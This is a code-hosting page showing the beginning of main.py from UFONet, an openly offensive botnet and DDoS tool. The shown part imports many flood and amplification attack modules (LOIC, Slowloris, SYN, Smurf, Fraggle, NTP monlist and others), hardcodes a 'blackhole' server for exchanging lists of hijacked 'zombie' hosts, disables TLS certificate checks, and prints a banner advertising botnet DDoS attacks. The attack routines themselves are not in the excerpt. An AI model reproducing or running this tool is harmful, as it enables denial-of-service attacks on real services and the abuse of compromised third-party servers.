main.py 310 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023502450255026502750285029503050315032503350345035503650375038503950405041504250435044504550465047504850495050505150525053505450555056505750585059506050615062506350645065506650675068506950705071507250735074507550765077507850795080508150825083508450855086508750885089509050915092509350945095509650975098509951005101510251035104510551065107510851095110511151125113511451155116511751185119512051215122512351245125512651275128512951305131513251335134513551365137513851395140514151425143514451455146514751485149515051515152515351545155515651575158515951605161516251635164516551665167516851695170517151725173517451755176517751785179518051815182518351845185518651875188518951905191519251935194519551965197519851995200520152025203520452055206520752085209521052115212521352145215521652175218521952205221522252235224522552265227522852295230523152325233523452355236523752385239524052415242524352445245524652475248524952505251525252535254525552565257525852595260526152625263526452655266526752685269527052715272527352745275527652775278527952805281528252835284528552865287528852895290529152925293529452955296529752985299530053015302530353045305530653075308530953105311531253135314531553165317531853195320532153225323532453255326532753285329533053315332533353345335533653375338533953405341534253435344534553465347534853495350535153525353535453555356535753585359536053615362536353645365536653675368536953705371537253735374537553765377537853795380538153825383538453855386538753885389539053915392539353945395539653975398539954005401540254035404540554065407540854095410541154125413541454155416541754185419542054215422542354245425542654275428542954305431543254335434543554365437543854395440544154425443544454455446544754485449545054515452545354545455545654575458545954605461546254635464546554665467546854695470547154725473547454755476547754785479548054815482548354845485548654875488548954905491549254935494549554965497549854995500550155025503550455055506550755085509551055115512551355145515551655175518551955205521552255235524552555265527552855295530553155325533553455355536553755385539554055415542554355445545554655475548554955505551555255535554555555565557555855595560556155625563556455655566556755685569557055715572557355745575557655775578557955805581558255835584558555865587558855895590559155925593559455955596559755985599560056015602560356045605560656075608560956105611561256135614561556165617561856195620562156225623562456255626562756285629563056315632563356345635563656375638563956405641564256435644564556465647564856495650565156525653565456555656565756585659566056615662566356645665566656675668566956705671567256735674567556765677567856795680568156825683568456855686568756885689569056915692569356945695569656975698569957005701570257035704570557065707570857095710571157125713571457155716571757185719572057215722572357245725572657275728572957305731573257335734573557365737573857395740574157425743574457455746574757485749575057515752575357545755575657575758575957605761576257635764576557665767576857695770577157725773577457755776577757785779578057815782578357845785578657875788578957905791579257935794579557965797579857995800580158025803580458055806580758085809581058115812581358145815581658175818581958205821582258235824582558265827582858295830583158325833583458355836583758385839584058415842584358445845584658475848584958505851585258535854585558565857585858595860586158625863586458655866586758685869587058715872587358745875587658775878587958805881588258835884588558865887588858895890589158925893589458955896589758985899590059015902590359045905590659075908590959105911591259135914591559165917591859195920592159225923592459255926592759285929593059315932593359345935593659375938593959405941594259435944594559465947594859495950595159525953595459555956595759585959596059615962596359645965596659675968596959705971597259735974597559765977597859795980598159825983598459855986598759885989599059915992599359945995599659975998599960006001600260036004600560066007600860096010601160126013601460156016601760186019602060216022602360246025602660276028602960306031603260336034603560366037603860396040604160426043604460456046604760486049605060516052605360546055605660576058605960606061606260636064606560666067606860696070607160726073607460756076607760786079608060816082608360846085608660876088608960906091609260936094609560966097609860996100610161026103610461056106610761086109611061116112611361146115611661176118611961206121612261236124612561266127612861296130613161326133613461356136613761386139614061416142614361446145614661476148614961506151615261536154615561566157615861596160616161626163616461656166616761686169617061716172617361746175617661776178617961806181618261836184618561866187618861896190619161926193619461956196619761986199620062016202620362046205620662076208620962106211621262136214621562166217
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2022 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. from Crypto.Cipher import AES
  13. from hashlib import sha1, sha256
  14. try:
  15. from urllib.parse import urlparse as urlparse
  16. except:
  17. from urlparse import urlparse as urlparse
  18. try:
  19. import urllib.request, urllib.error, urllib.parse
  20. except:
  21. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  22. sys.exit()
  23. from uuid import getnode
  24. from random import randrange, shuffle
  25. from .options import UFONetOptions
  26. from .update import Updater
  27. from .herd import Herd
  28. from .zombie import Zombie
  29. from .doll import Doll
  30. from core.tools.inspector import Inspector
  31. from core.tools.abductor import Abductor
  32. from core.tools.ufoscan import UFOSCAN
  33. from core.mods.loic import LOIC
  34. from core.mods.loris import LORIS
  35. from core.mods.ufosyn import UFOSYN
  36. from core.mods.spray import SPRAY
  37. from core.mods.smurf import SMURF
  38. from core.mods.xmas import XMAS
  39. from core.mods.nuke import NUKE
  40. from core.mods.tachyon import TACHYON
  41. from core.mods.monlist import MONLIST
  42. from core.mods.sniper import SNIPER
  43. from core.mods.ufoack import UFOACK
  44. from core.mods.uforst import UFORST
  45. from core.mods.droper import DROPER
  46. from core.mods.overlap import OVERLAP
  47. from core.mods.pinger import PINGER
  48. from core.mods.ufoudp import UFOUDP
  49. from core.mods.fraggle import FRAGGLE
  50. DEBUG = False # use 'True' for detailed traceback
  51. class UFONet(object):
  52. def __init__(self):
  53. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  54. self.blackhole = '46.163.118.220' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  55. self.crypto_key = "U-NATi0n!" # default cryptkey
  56. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  57. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  58. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  59. self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 26/02/2020]
  60. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 26/02/2020]
  61. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  62. self.check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 06/06/2020]
  63. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
  64. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [06/06/2020]
  65. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  66. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  67. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  68. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  69. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  70. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  71. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  72. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  73. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  74. self.snmps_file = 'botnet/snmp.txt' # set source path to retrieve [SNMPs]
  75. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  76. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  77. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  78. self.timeline_file = 'docs/VERSION' # set source for code releases
  79. self.links_file = "data/links.txt" # set source path to retrieve [Blackhole] [Links]
  80. self.streams_file = "data/streams.txt" # set source path to retrieve [Blackhole] [Streams]
  81. self.globalnet_file = "data/globalnet.txt" # set source path to retrieve [Blackhole] [Globalnet]
  82. self.nodes_file = "data/nodes.txt" # set source path to retrieve [Blackhole] [Community] [Nodes]
  83. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  84. self.tv_file = "data/tv.txt" # set source path to retrieve [Blackhole] [TV]
  85. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  86. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  87. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  88. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  89. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  90. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  91. self.referer = '' # black magic
  92. self.port = "8080" # default injection port
  93. self.mothershipname = "core/txt/shipname.txt"
  94. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  95. self.mothership_model_file = 'core/txt/model.txt' # set source for mothership model
  96. self.warping_path = '/var/www/ufonet' # set source for warping path
  97. self.warping_folder_permissions = 0o644 # set permission for warping folder
  98. f = open(self.mothership_model_file) # extract mothership model
  99. self.mothership_model = f.readlines()
  100. for model in self.mothership_model:
  101. model = model.rstrip('\n')
  102. self.mothership_model = model
  103. f.close()
  104. self.mothership_baptism() # generating static name/id for your mothership ;-)
  105. self.head = False
  106. self.payload = False
  107. self.external = False
  108. self.attack_mode = False
  109. self.connection_failed = False
  110. self.total_possible_zombies = 0
  111. self.herd = Herd(self)
  112. self.sem = False
  113. self.db_flash = 0 # db stress counter
  114. self.total_aliens = 0
  115. self.aliens_hit = 0
  116. self.aliens_fail = 0
  117. self.total_droids = 0
  118. self.droids_hit = 0
  119. self.droids_fail = 0
  120. self.total_ucavs = 0
  121. self.ucavs_hit = 0
  122. self.ucavs_fail = 0
  123. self.total_rpcs = 0
  124. self.rpcs_hit = 0
  125. self.rpcs_fail = 0
  126. self.total_loic = 0
  127. self.total_loris = 0
  128. self.total_syn = 0
  129. self.total_spray = 0
  130. self.total_smurf = 0
  131. self.total_fraggle = 0
  132. self.total_xmas = 0
  133. self.total_ufoack = 0
  134. self.total_uforst = 0
  135. self.total_droper = 0
  136. self.total_overlap = 0
  137. self.total_pinger = 0
  138. self.total_ufoudp = 0
  139. self.total_nuke = 0
  140. self.total_tachyon = 0
  141. self.total_monlist = 0
  142. self.total_sniper = 0
  143. self.total_zombies_failed_connection = 0
  144. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  145. self.ctx.check_hostname = False
  146. self.ctx.verify_mode = ssl.CERT_NONE
  147. self.nat_error_flag = "OFF"
  148. self.trans_zombies = 0
  149. self.scanned_zombies = 0
  150. self.loadcheck_counter = 0
  151. self.loadcheck_prev_size = None
  152. self.loadcheck_prev_load = None
  153. self.loadcheck_first_size = None
  154. self.loadcheck_first_load = None
  155. self.loadcheck_size_list = []
  156. self.loadcheck_load_list = []
  157. self.loadcheck_size_median = None
  158. self.loadcheck_size_max = None
  159. self.loadcheck_size_min = None
  160. self.loadcheck_load_median = None
  161. self.loadcheck_size_max = None
  162. self.loadcheck_size_min = None
  163. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  164. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  165. self.expire_timing = 30 # default expiring time per round
  166. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  167. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  168. self.globalnet_msg_sep = "#$#" # globalnet stream separator
  169. self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)])
  170. self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)])
  171. self.trans_5C = self.trans_5C.encode("latin-1")
  172. self.trans_36 = self.trans_36.encode("latin-1")
  173. def mothership_baptism(self):
  174. if os.path.exists(self.mothershipname) == True:
  175. f = open(self.mothershipname)
  176. self.mothership_id = f.read()
  177. f.close()
  178. else:
  179. self.mothership_ids = []
  180. try:
  181. f = open(self.motherships_file)
  182. motherships = f.readlines()
  183. f.close()
  184. for ship in motherships:
  185. ship = ship.encode("utf-8")
  186. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  187. try:
  188. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  189. except:
  190. try:
  191. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  192. except:
  193. self.mothership_id = self.default_mothership_name
  194. except:
  195. self.mothership_id = self.default_mothership_name
  196. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  197. self.mothership_id = self.default_mothership_name
  198. m = open(self.mothershipname, "w") # write mothership name to a static file
  199. m.write(str(self.mothership_id.upper()))
  200. m.close()
  201. def create_options(self, args=None):
  202. self.optionParser = UFONetOptions()
  203. self.options = self.optionParser.get_options(args)
  204. if not self.options:
  205. return False
  206. return self.options
  207. def banner_welcome(self):
  208. print(" ____ ")
  209. print(" || / /\ \ || #===============================================#")
  210. print(" -(00)- + (XX) + -(00)- || ||")
  211. print(" || || O ==*~~~~~~*== 0 || || || > Botnet [DDoS] # > Close Combat [DoS] ||")
  212. print(" -(00)- (0) XX (0) -(00)- || ||")
  213. print(" || _ _ \| (00) |/ _ _ || || |-> ZOMBIES # |-> LOIC ||")
  214. print(" (O)_ (O) 0'----'0 (O) _(O) || |-> DROIDS # |-> LORIS ||")
  215. print(" | |.''.( xx ).''.| | || |-> ALIENS # |-> UFOSYN ||")
  216. print(" .'.' +X|'..'|X+ '.'. || |-> UCAVs # |-> XMAS ||")
  217. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || |-> X-RPCs # |-> NUKE ||")
  218. print(" +(O).)-|0| \ x| ## |x / |0|-(.(O)+ || |-> DBSTRESS # |-> UFOACK ||")
  219. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || |-> SPRAY # |-> UFORST ||")
  220. print(" _ | || '-.___||___.-' || | _ || |-> SMURF # |-> DROPER ||")
  221. print(" .' _ | ||==O | __ | O==|| | _ '. || |-> TACHYON # |-> OVERLAP ||")
  222. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || |-> MONLIST # |-> PINGER ||")
  223. print(" _ | '### | =| | ###### | |= |' ### | _ || |-> FRAGGLE # |-> UFOUDP ||")
  224. print("(0)-| |(0)| '. 0\||__**_ ||/0 .' |(0)| |-(0) || |-> SNIPER # ||")
  225. print(" * \ '._.' '. | \_##_/ | .' '._.' / * || ||")
  226. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' #|=============================================|#")
  227. print(" .'_.-| YY |-._'. || ||")
  228. print(" || -> [ UFONet: https://ufonet.03c8.net ] <- ||")
  229. print(" + Class: PSYoPs / "+str(self.mothership_model)+" + || ||")
  230. print(" #|=============================================|#")
  231. print("")
  232. def banner(self):
  233. print('='*75, "\n")
  234. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  235. print("888 888 888 d88P Y888b 8888b 888 888 ")
  236. print("888 888 888 888 888 88888b 888 888 ")
  237. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  238. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  239. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  240. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  241. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  242. print(self.optionParser.description, "\n")
  243. print('='*75)
  244. def generate_exit_msg(self):
  245. self.exit_msg = "Generating random exit... \n\n"
  246. try:
  247. f = open(self.misc_file)
  248. m = f.readlines()
  249. f.close()
  250. self.exit_msg += " -> "+str(random.choice(m).strip())
  251. except:
  252. self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
  253. def AI(self):
  254. try:
  255. import turtle as AI
  256. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  257. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  258. bg = random.choice(colors).strip()
  259. t = AI.Pen()
  260. AI.bgcolor(bg)
  261. r = random.randrange(100,100000)
  262. for x in range(r):
  263. t.pencolor(colors[x%6])
  264. w = random.randrange(100,1000)
  265. t.width(x/w + 1)
  266. t.forward(x)
  267. l = random.randrange(50,1000)
  268. t.left(l)
  269. except:
  270. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  271. pass
  272. def round_float(self, num):
  273. return str(int(round(num, -1)))[2] # black magic
  274. def show_mac_address(self):
  275. mac = getnode() # to get physical address
  276. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  277. return hex_mac
  278. def show_ips(self):
  279. import requests
  280. try:
  281. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  282. s.connect(("8.8.8.8", 80))
  283. private_ip = s.getsockname()[0] # black magic
  284. s.close()
  285. except:
  286. private_ip = "Unknown"
  287. try:
  288. public_ip = requests.get(self.check_ip_service3).text
  289. except:
  290. try:
  291. public_ip = requests.get(self.check_ip_service2).text
  292. except:
  293. try:
  294. public_ip = requests.get(self.check_ip_service1).text
  295. except:
  296. public_ip = "Unknown"
  297. return private_ip, public_ip
  298. def try_running(self, func, error, args=None):
  299. options = self.options
  300. args = args or []
  301. try:
  302. return func(*args)
  303. except Exception as e:
  304. if DEBUG == True:
  305. print(error, "error")
  306. traceback.print_exc()
  307. def checkeuid(self):
